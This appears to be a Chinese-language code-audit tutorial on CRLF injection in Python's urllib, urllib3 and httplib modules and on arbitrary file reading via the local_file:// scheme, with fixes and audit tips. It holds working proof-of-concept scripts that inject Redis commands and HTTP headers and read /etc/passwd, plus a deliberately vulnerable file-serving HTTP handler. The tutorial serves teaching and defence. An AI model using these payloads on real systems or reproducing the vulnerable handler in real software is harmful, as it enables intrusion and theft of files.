Python代码审计实战案例总结之CRLF和任意文件读取
字数 1077 2025-08-18 11:39:15
Python代码审计实战:CRLF与任意文件读取漏洞详解
一、CRLF漏洞审计与实战
1. CRLF漏洞概述
CRLF(Carriage Return Line Feed)漏洞是由于对\x0d\x0a(即\r\n)处理不严格导致的安全问题。这类漏洞常出现在Python的HTTP相关模块中,如httplib和urllib。
2. 漏洞危害
- 可导致Memcached和Redis等缓存应用被污染
- 严重情况下可能获取服务器shell
- 可注入任意HTTP头,导致HTTP请求走私等攻击
3. urllib模块CRLF漏洞(CVE-2019-9740和CVE-2019-9947)
漏洞POC
#!/usr/bin/env python3
import sys
import urllib
import urllib.error
import urllib.request
host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
漏洞验证
执行后检查Redis服务器:
127.0.0.1:6379> GET test
"success"
修复方案
使用正则表达式检查十六进制\x00-\x20和\x7f:
_contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f]')
4. urllib3模块CRLF漏洞
漏洞POC
import urllib3
pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "https://" + host + ":8080/test/?test=a"
try:
info = pool_manager.request('GET', url).info()
print(info)
except Exception:
pass
5. httplib模块CRLF漏洞
漏洞POC
import httplib
conn = httplib.HTTPConnection("192.168.158.129:7777")
conn.request("GET", "a=1HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
r1 = conn.getresponse()
print(r1.status, r1.reason)
验证方法
使用nc监听端口:
nc -l -p 7777
二、任意文件读取漏洞审计与实战
1. urllib模块local_file协议绕过(CVE-2019-9948)
漏洞背景
模块为缓解SSRF和任意文件读取,将file://加入黑名单,但未考虑local_file://协议。
漏洞POC
import urllib
print urllib.urlopen('local_file:///etc/passwd').read()[:30]
修复方案
在代码中检测并禁止local_file协议:
urltype = 'local_file' # 被检测到并禁止
2. 任意文件读取实例分析
漏洞代码示例
import urllib
import SocketServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
class MyHandler(SimpleHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
print("got get request %s" % (self.path))
hql = urllib.splitquery(self.path)[1]
uri_c = str(hql)
print('cmd===%s' % (uri_c))
file = open(uri_c)
self.wfile.write(file.read())
file.close()
def start_server():
httpd = SocketServer.TCPServer(("127.0.0.1", 8090), MyHandler)
print('Starting httpd...')
httpd.serve_forever()
if __name__ == "__main__":
start_server()
漏洞利用
访问URL读取系统文件:
http://127.0.0.1:8090/Windows\win.ini
漏洞修复建议
- 限制文件访问路径
- 对用户输入进行严格过滤
- 使用白名单机制限制可访问的文件类型
三、防御措施总结
1. CRLF漏洞防御
- 使用正则表达式过滤特殊字符:
[\x00-\x20\x7f] - 对HTTP头进行严格验证
- 使用最新版本的Python和相关模块
2. 任意文件读取防御
- 禁用不必要的文件协议(file://, local_file://等)
- 实施文件路径白名单机制
- 对用户输入进行规范化处理
- 使用安全的文件操作API
四、审计技巧
-
CRLF审计要点:
- 检查所有HTTP请求处理代码
- 测试在URL、参数、头部的各个位置插入
\r\n - 重点关注
urllib,urllib3,httplib等模块
-
任意文件读取审计要点:
- 检查所有文件操作函数(open(), urlopen()等)
- 检查协议处理逻辑
- 测试使用不同协议(file://, local_file://等)
- 检查路径拼接操作
通过以上案例和分析,可以系统性地进行Python代码审计,发现和修复CRLF和任意文件读取漏洞。